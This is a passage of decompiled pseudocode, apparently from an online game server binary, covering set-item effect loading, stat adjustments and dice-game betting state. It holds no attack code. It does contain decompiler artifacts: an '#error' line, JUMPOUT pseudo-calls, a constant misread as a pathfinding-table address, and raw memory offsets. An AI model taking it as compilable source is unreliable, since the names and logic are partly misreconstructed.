*)&setitemeffect, "../9Data/Shine/SetItemEffect.shn"); v2 = *(_DWORD *)(v18 + 40); totalnum = *(_DWORD *)(v18 + 40); if ( v2 >= 1024 ) { AssertClass::ac_AssertFail(&shineassert, "SetItemData::SetItemEffectList::siel_Load : Too many totalnum", 1024, v2); ShineExit("SetItemData::SetItemEffectList::siel_Load"); } v3 = 0; v1->siel_MaxEffect = 0; l = 0; if ( v2 > 0 ) { while ( 1 ) { v4 = (const char *)(v3 < *(_DWORD *)(v18 + 40) ? CDataReader::GetRecord((CDataReader *)&setitemeffect, v3) : &effect); v16 = 0; v15 = 0; v14 = 0; v13 = 0; v12 = 0; v11 = 0; v10 = 0; *(_DWORD *)index = 0; strncpy(index, v4, 0x20u); if ( SetItemData::SetItemEffectList::siel_Index2RegistNumber(v1, (Name8 *)index) != -1 ) { AssertClass::ac_AssertFail( &shineassert, "SetItemData::SetItemEffectList::siel_Load : EffectIndex duplicate", v4); ShineExit("SetItemData::SetItemEffectList::siel_Load"); } SetItemData::EffectDescription::ed_Store( (SetItemData::EffectDescription *)v1 + v1->siel_MaxEffect, (SetItemEffect *)v4); v6 = __OFSUB__(l + 1, totalnum); v5 = ((l + 1 - totalnum) & 0x80000000u) != 0; ++v1->siel_MaxEffect; ++l; if ( !(v5 ^ v6) ) break; v3 = l; } } v21 = -1; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&setitemeffect); __security_check_cookie(cookie); } //----- (004CADC0) -------------------------------------------------------- void __thiscall SetItemData::SetItemClassifier::sic_Load(SetItemData::SetItemClassifier *this) { SetItemData::SetItemClassifier *v1; // esi@1 int v2; // eax@1 unsigned int v3; // ebp@1 const char *v4; // ebx@3 unsigned __int16 v5; // ax@5 int v6; // eax@9 unsigned __int16 v7; // bp@13 ItemDataBox::ItemDataBoxIndex *v8; // ebx@13 const char *v9; // eax@16 unsigned __int16 v10; // bp@17 int iter; // [sp+10h] [bp-B4h]@12 char setitemindex[4]; // [sp+14h] [bp-B0h]@5 int v13; // [sp+18h] [bp-ACh]@5 int v14; // [sp+1Ch] [bp-A8h]@5 int v15; // [sp+20h] [bp-A4h]@5 int v16; // [sp+24h] [bp-A0h]@5 int v17; // [sp+28h] [bp-9Ch]@5 int v18; // [sp+2Ch] [bp-98h]@5 int v19; // [sp+30h] [bp-94h]@5 char setitemtable; // [sp+34h] [bp-90h]@1 int v21; // [sp+64h] [bp-60h]@1 char v22; // [sp+70h] [bp-54h]@1 char v23; // [sp+B0h] [bp-14h]@1 unsigned int v24; // [sp+B4h] [bp-10h]@22 int v25; // [sp+C0h] [bp-4h]@1 v1 = this; SetItemData::SetItemEffectList::siel_Load(&setitemeffectlist); CCharacterTitleData::CCharacterTitleData((BinaryData *)&setitemtable); memset(&v22, 0, 0x40u); v23 = 0; v25 = 0; BinaryDataBox::bdb_ReadData((BinaryDataBox *)&setitemtable, "../9Data/Shine/SetItem.shn"); v2 = *(_DWORD *)(v21 + 40); v3 = 0; v1->sic_TotalNumber = v2; v1->sic_MaxType = 0; if ( v2 > 0 ) { do { if ( v3 < *(_DWORD *)(v21 + 40) ) v4 = (const char *)CDataReader::GetRecord((CDataReader *)&setitemtable, v3); else v4 = &v22; v19 = 0; v18 = 0; v17 = 0; v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)setitemindex = 0; strncpy(setitemindex, v4, 0x20u); v5 = SetItemData::SetItemClassifier::sic_Index2RegistNumber(v1, (Name8 *)setitemindex); if ( v5 == -1 ) { if ( v1->sic_MaxType >= 256 ) { AssertClass::ac_AssertFail(&shineassert, "SetItemClassifier::sic_Load : Too many set", v1->sic_MaxType); ShineExit("SetItemClassifier::sic_Load"); } v6 = (int)((char *)v1 + 80 * v1->sic_MaxType); *(_DWORD *)v6 = *(_DWORD *)setitemindex; *(_DWORD *)(v6 + 4) = v13; *(_DWORD *)(v6 + 8) = v14; *(_DWORD *)(v6 + 12) = v15; *(_DWORD *)(v6 + 16) = v16; *(_DWORD *)(v6 + 20) = v17; *(_DWORD *)(v6 + 24) = v18; *(_DWORD *)(v6 + 28) = v19; SetItemData::EffectByPiece::ebp_Append((SetItemData::EffectByPiece *)v1 + v1->sic_MaxType++, (SetItem *)v4); } else { SetItemData::EffectByPiece::ebp_Append((SetItemData::EffectByPiece *)v1 + v5, (SetItem *)v4); } ++v3; } while ( (signed int)v3 < v1->sic_TotalNumber ); } ItemDataBox::idb_iter_home(&itemdatabox, (unsigned int *)&iter); do { v7 = ItemDataBox::idb_iter_Get(&itemdatabox, (unsigned int *)&iter); v8 = ItemDataBox::operator__(&itemdatabox, v7); if ( v8 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "SetItemClassifier::sic_Load : ItemDataBox::ItemDataBoxIndex Null", v7); ShineExit("SetItemClassifier::sic_Load"); } v9 = v8->data->SetItemIndex; if ( v8->data->SetItemIndex[0] != 45 ) { v19 = 0; v18 = 0; v17 = 0; v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)setitemindex = 0; strncpy(setitemindex, v9, 0x20u); v10 = SetItemData::SetItemClassifier::sic_Index2RegistNumber(v1, (Name8 *)setitemindex); if ( v10 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "SetItemData::SetItemClassifier::sic_Load : SetItem not found", v8->data->SetItemIndex); AssertClass::ac_AssertFail( &shineassert, "SetItemData::SetItemClassifier::sic_Load : in item", v8->data->InxName); ShineExit("SetItemClassifier::sic_Load"); } v8->SetItemIndex = v10; } } while ( ItemDataBox::idb_iter_next(&itemdatabox, (unsigned int *)&iter) ); v25 = -1; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&setitemtable); __security_check_cookie(v24); } //----- (004CB0A0) -------------------------------------------------------- void __thiscall SetItemData::SetItemClassifier::sic_SetItemDefine(SetItemData::SetItemClassifier *this, SetItemData::PlayerSetEffect *seteffect) { SetItemData::SetItemClassifier *v2; // edi@1 SetItemData::PlayerSetEffect *v3; // esi@1 signed int v4; // ebx@2 signed int v5; // eax@4 int v6; // edi@4 int v7; // ecx@6 bool v8; // zf@11 int v9; // [sp+10h] [bp-20h]@1 signed int v10; // [sp+14h] [bp-1Ch]@1 SetItemData::SetItemClassifier *v11; // [sp+18h] [bp-18h]@1 int seteffecta; // [sp+34h] [bp+4h]@1 v2 = this; v11 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SetItemData::SetItemClassifier::sic_SetItemDefine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SetItemData::SetItemClassifier::sic_SetItemDefine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = seteffect; seteffect->effectnumber = 0; *(_DWORD *)&seteffect->effectarray[0] = -1; *(_DWORD *)&seteffect->effectarray[2] = -1; *(_DWORD *)&seteffect->effectarray[4] = -1; *(_DWORD *)&seteffect->effectarray[6] = -1; *(_DWORD *)&seteffect->effectarray[8] = -1; seteffecta = 0; v9 = (int)v2->sic_ItemSetPiece; v10 = 256; do { v4 = 1; do { if ( v4 <= *(_BYTE *)v9 ) { v5 = 0; v6 = (int)v11->sic_SetItemStruct[0].ebp_EffectArray[v4 + seteffecta]; while ( *(_WORD *)v6 != -1 ) { v7 = v3->effectnumber; if ( v3->effectnumber >= 0xAu ) { AssertClass::ac_AssertFail( &shineassert, "SetItemData::SetItemClassifier::sic_SetItemDefine : Too many Effect", v7); break; } v3->effectarray[v7] = *(_WORD *)v6; ++v5; v6 += 2; ++v3->effectnumber; if ( v5 >= 4 ) break; } } ++v4; } while ( v4 < 6 ); v8 = v10 == 1; seteffecta += 10; ++v9; --v10; } while ( !v8 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SetItemData::SetItemClassifier::sic_SetItemDefine"); } //----- (004CB200) -------------------------------------------------------- void __thiscall SetItemData::SetItemEffectList::siel_AppendEffect(SetItemData::SetItemEffectList *this, unsigned __int16 effect, unsigned __int16 skillid) { SetItemData::SetItemEffectList *v3; // esi@1 unsigned __int16 v4; // ax@1 bool v5; // zf@1 int v6; // edx@3 const void *v7; // eax@3 int v8; // esi@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SetItemData::SetItemEffectList::siel_AppendEffect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SetItemData::SetItemEffectList::siel_AppendEffect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = effect; v5 = effect >= 0x400u; *(_DWORD *)&effect = effect < 0x400u; if ( v5 ) { AssertClass::ac_AssertFail( &shineassert, "SetItemData::SetItemEffectList::siel_AppendEffect : EffectHandle wrong", v4); } else { v6 = 48 * v4; v7 = v3->siel_SetItemEffectList[v4].skilllist; v8 = (int)((char *)v3 + v6); *(_DWORD *)&effect = skillid; if ( !v7 || bsearch(&effect, v7, *(_DWORD *)(v8 + 44), 2u, MobAttackSequence::AttackElement4Mob::ae4m_Compare) != 0 ) { setitemskilleffect.se_Argument[*(_DWORD *)(v8 + 32)] += *(_DWORD *)(v8 + 36); setitemskilleffect.se_Argument[*(_DWORD *)(v8 + 32)] -= 1000; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SetItemData::SetItemEffectList::siel_AppendEffect"); } //----- (004CB320) -------------------------------------------------------- void __thiscall SetItemData::SkillEffect::se_Clear(SetItemData::SkillEffect *this) { SetItemData::SkillEffect *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "SetItemData::SkillEffect::se_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SetItemData::SkillEffect::se_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->se_Argument[0] = 1000; v1->se_Argument[1] = 1000; v1->se_Argument[2] = 1000; v1->se_Argument[3] = 1000; v1->se_Argument[4] = 1000; v1->se_Argument[5] = 1000; v1->se_Argument[6] = 1000; v1->se_Argument[7] = 1000; v1->se_Argument[8] = 1000; v1->se_Argument[9] = 1000; v1->se_Argument[10] = 1000; v1->se_Argument[11] = 1000; v1->se_Argument[12] = 1000; v1->se_Argument[13] = 1000; v1->se_Argument[14] = 1000; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SetItemData::SkillEffect::se_Clear"); } //----- (004CB3B0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_SetItemEffectStore(AbnormalStateContainer::AbstateElementInObject *this) { AbnormalStateContainer::AbstateElementInObject *v1; // ebx@1 unsigned int v2; // edi@1 int v3; // esi@1 unsigned int v4; // eax@1 int v5; // ebp@3 SetItemEffect::SetIndex v6; // [sp-4h] [bp-24h]@5 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_SetItemEffectStore"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_SetItemEffectStore"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; v3 = (int)&v1->aeo_SetItemEffect; v4 = 0; do { *(_DWORD *)(v3 + 8 * v4) = 0; *(_WORD *)(v3 + 8 * v4++ + 4) = 1000; } while ( v4 < 4 ); v5 = *((_DWORD *)&unk_604F0C + 3 * v1->aeo_Index); do { switch ( *(_DWORD *)(v2 + 36 * v1->aeo_Strength + v5 + 12) ) { case 3: case 4: case 0xD: v6 = 2; goto LABEL_12; case 5: case 6: v6 = 3; goto LABEL_12; case 7: v6 = 8; goto LABEL_12; case 0xA: case 0xB: v6 = 11; goto LABEL_12; case 0x14: v6 = 10; goto LABEL_12; case 0x1E: v6 = 1; goto LABEL_12; case 0x16: case 0x17: case 0x23: case 0x24: v6 = 14; LABEL_12: SetItemData::SetItemAbstateEffect::siae_SetItemEffectStore(&v1->aeo_SetItemEffect, v6); break; default: break; } v2 += 8; } while ( v2 < 0x20 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_SetItemEffectStore"); } //----- (004CB500) -------------------------------------------------------- void __thiscall SetItemData::SetItemAbstateEffect::siae_ParameterRefit(SetItemData::SetItemAbstateEffect *this, Parameter::Container *param) { SetItemData::SetItemAbstateEffect *v2; // esi@1 unsigned int v3; // edi@1 int v4; // esi@1 int v5; // eax@3 int v6; // eax@8 int v7; // edx@8 signed int v8; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SetItemData::SetItemAbstateEffect::siae_ParameterRefit"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SetItemData::SetItemAbstateEffect::siae_ParameterRefit"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; v4 = (int)&v2->siae_Buffer[0].Argument_Base1000; while ( 1 ) { switch ( *(_DWORD *)(v4 - 4) ) { case 2: v5 = param->AbnormalState.Rate.WCmin; param->AbnormalState.Rate.WCmax += *(_WORD *)v4 - 1000; param->AbnormalState.Rate.WCmin = *(_WORD *)v4 - 1000 + v5; goto LABEL_9; case 3: param->AbnormalState.Rate.AC += *(_WORD *)v4 - 1000; goto LABEL_9; case 8: param->AbnormalState.Rate.Dex += *(_WORD *)v4 - 1000; goto LABEL_9; case 0xA: param->AbnormalState.Rate.MoveSpeed += *(_WORD *)v4 - 1000; goto LABEL_9; case 0xB: param->AbnormalState.Rate.TH += *(_WORD *)v4 - 1000; goto LABEL_9; case 0xE: v6 = param->AbnormalState.Plus.MaxHP * *(_WORD *)v4; param->AbnormalState.Plus.MaxHP = v6; param->AbnormalState.Plus.MaxSP *= *(_WORD *)v4; v7 = param->AbnormalState.Plus.MaxSP; param->AbnormalState.Plus.MaxHP = ((signed int)((unsigned __int64)(v6 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v6 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v8 = (signed int)((unsigned __int64)(v7 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; param->AbnormalState.Plus.MaxSP = v8 + ((unsigned int)v8 >> 31); goto LABEL_9; default: LABEL_9: ++v3; v4 += 8; if ( v3 >= 4 ) goto $L140300; break; case 0: $L140300: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SetItemData::SetItemAbstateEffect::siae_ParameterRefit"); return; } } } //----- (004CB6E0) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { MemoryQueue *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x40u, 128, (void (__thiscall *)(void *))MoveManager::MoveManager, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->mq_Pointer.mask = 127; v1->mq_Pointer.value = 0; } //----- (004CB720) -------------------------------------------------------- void __thiscall MemoryQueue::_MemoryQueue(MemoryQueue *this) { _eh_vector_destructor_iterator_( this, 0x40u, 128, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (004CB740) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SetItemCheck(void *this) { void *v1; // esi@1 ItemInventoryCell *v2; // eax@2 unsigned __int16 v3; // ax@3 ItemDataBox::ItemDataBoxIndex *v4; // eax@3 ItemBoxIterItem ibii; // [sp+Ch] [bp-1Ch]@1 int v6; // [sp+24h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SetItemCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SetItemCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memset(setitemclassifier.sic_ItemSetPiece, 0, sizeof(setitemclassifier.sic_ItemSetPiece)); v6 = 0; ItemBoxIterItem::ItemBoxIterItem(&ibii, (ItemBag *)v1 + 8050, 0); LOBYTE(v6) = 1; ItemBoxIterator::ibi_Home(&ibii.baseclass_0); do { v2 = ItemBoxIterator::ibi_Get(&ibii.baseclass_0); if ( !v2 ) break; v3 = ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v2); v4 = ItemDataBox::operator__(&itemdatabox, v3); if ( !v4 ) break; if ( v4->SetItemIndex < setitemclassifier.sic_TotalNumber ) ++setitemclassifier.sic_ItemSetPiece[v4->SetItemIndex]; } while ( ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ); SetItemData::SetItemClassifier::sic_SetItemDefine( &setitemclassifier, (SetItemData::PlayerSetEffect *)((char *)v1 + 92248)); LOBYTE(v6) = 0; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&ibii); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SetItemCheck"); } //----- (004CB870) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineMobileObject::smo_ply_SetItemEffect(__int16 skillid) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ply_SetItemEffect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_ply_SetItemEffect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; SetItemData::SkillEffect::se_Clear(&setitemskilleffect); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ply_SetItemEffect"); } //----- (004CB910) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_SetItemEffect(void *this, __int16 skillid) { int v2; // ebx@1 signed int v3; // esi@1 unsigned __int16 *v4; // edi@2 __int16 v5; // ax@5 v2 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_SetItemEffect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_SetItemEffect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; ShineObjectClass::ShineMobileObject::smo_ply_SetItemEffect(skillid); if ( *(_BYTE *)(v2 + 92268) ) { v4 = (unsigned __int16 *)(v2 + 92248); do { SetItemData::SetItemEffectList::siel_AppendEffect(&setitemeffectlist, *v4, skillid); ++v3; ++v4; } while ( v3 < *(_BYTE *)(v2 + 92268) ); } if ( *(_WORD *)(v2 + 92246) == -1 ) { v5 = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v2); setitemskilleffectqueue.mq_Pointer.value = setitemskilleffectqueue.mq_Pointer.mask & (setitemskilleffectqueue.mq_Pointer.value + 1); setitemskilleffectqueue.mq_Buffer[setitemskilleffectqueue.mq_Pointer.value].handle = v5; memcpy( &setitemskilleffectqueue.mq_Buffer[setitemskilleffectqueue.mq_Pointer.value].content, &setitemskilleffect, sizeof(setitemskilleffectqueue.mq_Buffer[setitemskilleffectqueue.mq_Pointer.value].content)); *(_WORD *)(v2 + 92246) = LOWORD(setitemskilleffectqueue.mq_Pointer.value); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_SetItemEffect"); } //----- (004CBA40) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_IsJoinThisGame(int this, int nGameType) { bool result; // al@2 if ( *(_DWORD *)(this + 23384) == 1 ) result = nGameType == 1; else result = 0; return result; } //----- (004CBA60) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetMiniGameInfo(int this) { int result; // eax@2 if ( *(_DWORD *)(this + 23384) == 1 ) result = this + 23416; else result = 0; return result; } //----- (004CBA80) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetMiniGameInfo(int this, int nGameType) { char result; // al@3 if ( nGameType ) { if ( nGameType == 1 ) { result = 1; *(_DWORD *)(this + 23384) = 1; } else { result = 0; *(_DWORD *)(this + 23384) = 0; } } else { result = 1; *(_DWORD *)(this + 23384) = 0; } return result; } //----- (004CBAC0) -------------------------------------------------------- #error "4CBAC0: undefined or illegal type '#331' (funcsize=38)" //----- (004CBB30) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetDiceTaiSaiGameLeaveInfo(int this, int pGameLeaveReserve) { JUMPOUT(pGameLeaveReserve, 0, Concurrency::_Order_node_base::reserve_message); JUMPOUT(*(_DWORD *)(this + 23384), 1, Concurrency::_Order_node_base::reserve_message); *(_BYTE *)pGameLeaveReserve = *(_BYTE *)(this + 23416); return 1; } // 4CBB4E: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004CBB60) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiGameLeaveInfo(int this, char bGameLeaveReserve) { if ( bGameLeaveReserve ) JUMPOUT(bGameLeaveReserve, 1, Concurrency::_Order_node_base::reserve_message); JUMPOUT(*(_DWORD *)(this + 23384), 1, Concurrency::_Order_node_base::reserve_message); *(_BYTE *)(this + 23416) = bGameLeaveReserve; return 1; } // 4CBB80: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004CBB90) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetDiceTaiSaiRoomLeaveInfo(int this, int pRoomLeaveReserve) { JUMPOUT(pRoomLeaveReserve, 0, Concurrency::_Order_node_base::reserve_message); JUMPOUT(*(_DWORD *)(this + 23384), 1, Concurrency::_Order_node_base::reserve_message); *(_BYTE *)pRoomLeaveReserve = *(_BYTE *)(this + 23417); return 1; } // 4CBBAE: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004CBBC0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiRoomLeaveInfo(int this, char bRoomLeaveReserve) { if ( bRoomLeaveReserve ) JUMPOUT(bRoomLeaveReserve, 1, Concurrency::_Order_node_base::reserve_message); JUMPOUT(*(_DWORD *)(this + 23384), 1, Concurrency::_Order_node_base::reserve_message); *(_BYTE *)(this + 23417) = bRoomLeaveReserve; return 1; } // 4CBBE0: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004CBBF0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetMiniGameRoomLeaveMapInfo(int this, const char *sMapName, int LocateXY) { int v3; // esi@1 char result; // al@3 v3 = this; if ( sMapName && LocateXY ) { strncpy((char *)(this + 23392), sMapName, 0xCu); *(_DWORD *)(v3 + 23405) = *(_DWORD *)LocateXY; *(_DWORD *)(v3 + 23409) = *(_DWORD *)(LocateXY + 4); result = 1; } else { result = 0; } return result; } //----- (004CBC40) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetMiniGameRoomLeaveMapInfo(int this, char *sMapName, int LocateXY) { int v3; // esi@1 char result; // al@3 v3 = this; if ( sMapName && LocateXY ) { strncpy(sMapName, (const char *)(this + 23392), 0xCu); *(_DWORD *)LocateXY = *(_DWORD *)(v3 + 23405); *(_DWORD *)(LocateXY + 4) = *(_DWORD *)(v3 + 23409); result = 1; } else { result = 0; } return result; } //----- (004CBC90) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetDiceTaiSaiInfo(int this) { int result; // eax@2 if ( *(_DWORD *)(this + 23384) == 1 ) result = this + 23416; else result = 0; return result; } //----- (004CBCB0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ClearDiceTaiSaiInfo(int this) { char result; // al@2 if ( *(_DWORD *)(this + 23384) == 1 ) { *(_DWORD *)(this + 23628) = 0; memset((void *)(this + 23420), 0, 0xD0u); *(_DWORD *)(this + 23632) = 0; *(_DWORD *)(this + 23636) = 0; result = 1; } else { result = 0; } return result; } //----- (004CBCF0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiAllBettingCancelInfo(int this, int pTaiSaiBetting, int bIsLastBettingCancel) { char result; // al@2 unsigned int v4; // edx@5 if ( *(_DWORD *)(this + 23384) == 1 ) { if ( bIsLastBettingCancel && (v4 = *(_DWORD *)(pTaiSaiBetting + 4)) != 0 ) { if ( *(_DWORD *)(this + 4 * *(_DWORD *)pTaiSaiBetting + 23420) >= v4 ) { *(_DWORD *)(this + 23628) -= *(_DWORD *)(pTaiSaiBetting + 4); *(_DWORD *)(this + 4 * *(_DWORD *)pTaiSaiBetting + 23420) -= *(_DWORD *)(pTaiSaiBetting + 4); *(_BYTE *)bIsLastBettingCancel = 0; if ( !*(_DWORD *)(this + 4 * *(_DWORD *)pTaiSaiBetting + 23420) ) *(_BYTE *)bIsLastBettingCancel = 1; result = 1; } else { result = 0; } } else { result = 0; } } else { result = 0; } return result; } //----- (004CBD70) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SendExpectIncomeMoney(void *this, int pDBAck) { void *v2; // esi@1 char result; // al@2 char *v4; // eax@3 int v5; // eax@5 v2 = this; if ( pDBAck ) { v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -21490; *((_WORD *)v4 + 1) = *(_WORD *)pDBAck; *((_WORD *)v4 + 2) = *(_WORD *)(pDBAck + 8); *(_DWORD *)(v4 + 6) = *(_DWORD *)(pDBAck + 18); *(_DWORD *)(v4 + 10) = *(_DWORD *)(pDBAck + 22); *(_DWORD *)(v4 + 14) = *(_DWORD *)(pDBAck + 26); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 18) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v2, &gpp); result = 1; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_SendExpectIncomeMoney : Packet Too Long", 18); result = 1; } } else { result = 0; } return result; } //----- (004CBE00) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SendReceiptIncomeMoney(void *this, int pDBAck) { void *v2; // esi@1 char result; // al@2 int v4; // eax@3 int v5; // eax@4 int v6; // ST04_4@5 DebugLogging *v7; // eax@5 DebugLogging *v8; // eax@5 __int64 v9; // qax@6 int v10; // eax@7 char *v11; // eax@8 int v12; // eax@10 v2 = this; if ( pDBAck ) { v4 = *(_DWORD *)this; if ( *(_WORD *)pDBAck == 7424 ) { v5 = (*(int (**)(void))(v4 + 1916))(); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v5 + 24))( v5, v2, *(_WORD *)(pDBAck + 2), 0) ) { v6 = *(_WORD *)(pDBAck + 2); v7 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_SendReceiptIncomeMoney : "); v8 = DebugLogging::operator<<(v7, v6); DebugLogging::operator<<(v8, &deb_LF); } LODWORD(v9) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1056))(v2); (*(void (__thiscall **)(void *, _DWORD, _DWORD))(*(_DWORD *)v2 + 1068))( v2, v9 + *(_DWORD *)(pDBAck + 20), (unsigned __int64)(v9 + *(_QWORD *)(pDBAck + 20)) >> 32); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1076))(v2); } else { v10 = (*(int (**)(void))(v4 + 1916))(); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v10 + 32))(v10, *(_WORD *)(pDBAck + 2)); } v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -21486; *((_WORD *)v11 + 1) = *(_WORD *)pDBAck; *((_WORD *)v11 + 2) = *(_WORD *)(pDBAck + 10); *(_DWORD *)(v11 + 6) = *(_DWORD *)(pDBAck + 20); *(_DWORD *)(v11 + 10) = *(_DWORD *)(pDBAck + 24); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v2, &gpp); result = 1; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_SendReceiptIncomeMoney : Packet Too Long", 14); result = 1; } } else { result = 0; } return result; } //----- (004CBF10) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiAllBettingInfo(int this, int pTaiSaiBetting, int bIsFirstBetting) { char result; // al@3 if ( *(_DWORD *)(this + 23384) == 1 && bIsFirstBetting ) { if ( *(_DWORD *)(pTaiSaiBetting + 4) ) { *(_BYTE *)bIsFirstBetting = 0; if ( !*(_DWORD *)(this + 4 * *(_DWORD *)pTaiSaiBetting + 23420) ) *(_BYTE *)bIsFirstBetting = 1; *(_DWORD *)(this + 23628) += *(_DWORD *)(pTaiSaiBetting + 4); *(_DWORD *)(this + 4 